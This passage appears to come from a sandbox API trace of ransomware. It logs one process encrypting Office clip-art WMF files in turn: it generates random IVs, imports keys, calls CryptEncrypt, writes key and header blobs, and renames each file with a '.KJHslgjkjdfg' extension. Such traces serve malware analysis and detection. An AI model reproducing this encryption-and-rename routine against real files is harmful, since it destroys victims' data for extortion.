lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.843] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.843] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.843] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.843] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7aa6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7aa6, lpOverlapped=0x0) returned 1 [0200.844] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ab0) returned 1 [0200.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.845] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ab0, lpOverlapped=0x0) returned 1 [0200.845] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.845] SetEndOfFile (hFile=0x130) returned 1 [0200.848] GetProcessHeap () returned 0x990000 [0200.848] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.848] GetProcessHeap () returned 0x990000 [0200.848] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.kjhslgjkjdfg")) returned 1 [0200.850] CloseHandle (hObject=0x130) returned 1 [0200.850] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0200.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.853] GetProcessHeap () returned 0x990000 [0200.853] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.857] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.857] GetProcessHeap () returned 0x990000 [0200.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.857] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.857] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.857] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.857] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.857] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.857] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.858] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.858] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.858] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b64, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b64, lpOverlapped=0x0) returned 1 [0200.859] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b70) returned 1 [0200.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.859] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b70, lpOverlapped=0x0) returned 1 [0200.859] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.860] SetEndOfFile (hFile=0x130) returned 1 [0200.863] GetProcessHeap () returned 0x990000 [0200.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.863] GetProcessHeap () returned 0x990000 [0200.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.kjhslgjkjdfg")) returned 1 [0200.865] CloseHandle (hObject=0x130) returned 1 [0200.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0200.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.868] GetProcessHeap () returned 0x990000 [0200.868] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.868] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.869] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.875] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.875] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.875] GetProcessHeap () returned 0x990000 [0200.876] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.876] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.876] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.876] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.876] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.876] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.876] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.876] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.876] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.876] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.876] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3658, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3658, lpOverlapped=0x0) returned 1 [0200.878] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3660, dwBufLen=0x3660 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3660) returned 1 [0200.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.878] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3660, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3660, lpOverlapped=0x0) returned 1 [0200.878] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.878] SetEndOfFile (hFile=0x130) returned 1 [0200.879] GetProcessHeap () returned 0x990000 [0200.879] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.879] GetProcessHeap () returned 0x990000 [0200.879] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.kjhslgjkjdfg")) returned 1 [0200.887] CloseHandle (hObject=0x130) returned 1 [0200.887] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0200.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.888] GetProcessHeap () returned 0x990000 [0200.888] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.888] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.888] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0200.890] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.890] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.890] GetProcessHeap () returned 0x990000 [0200.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.890] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.890] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.890] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.891] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.891] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.891] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.891] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.891] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.891] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.891] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b56, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b56, lpOverlapped=0x0) returned 1 [0200.892] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b60) returned 1 [0200.892] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.892] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b60, lpOverlapped=0x0) returned 1 [0200.893] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.893] SetEndOfFile (hFile=0x130) returned 1 [0200.895] GetProcessHeap () returned 0x990000 [0200.895] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.895] GetProcessHeap () returned 0x990000 [0200.895] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.kjhslgjkjdfg")) returned 1 [0200.896] CloseHandle (hObject=0x130) returned 1 [0200.896] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0200.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.897] GetProcessHeap () returned 0x990000 [0200.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.897] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.897] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0200.899] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.899] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.899] GetProcessHeap () returned 0x990000 [0200.899] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.899] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.899] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.899] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.899] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.899] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.899] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.899] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.899] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.899] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.900] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12a6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12a6, lpOverlapped=0x0) returned 1 [0200.900] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12b0, dwBufLen=0x12b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12b0) returned 1 [0200.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.901] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12b0, lpOverlapped=0x0) returned 1 [0200.901] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1384, 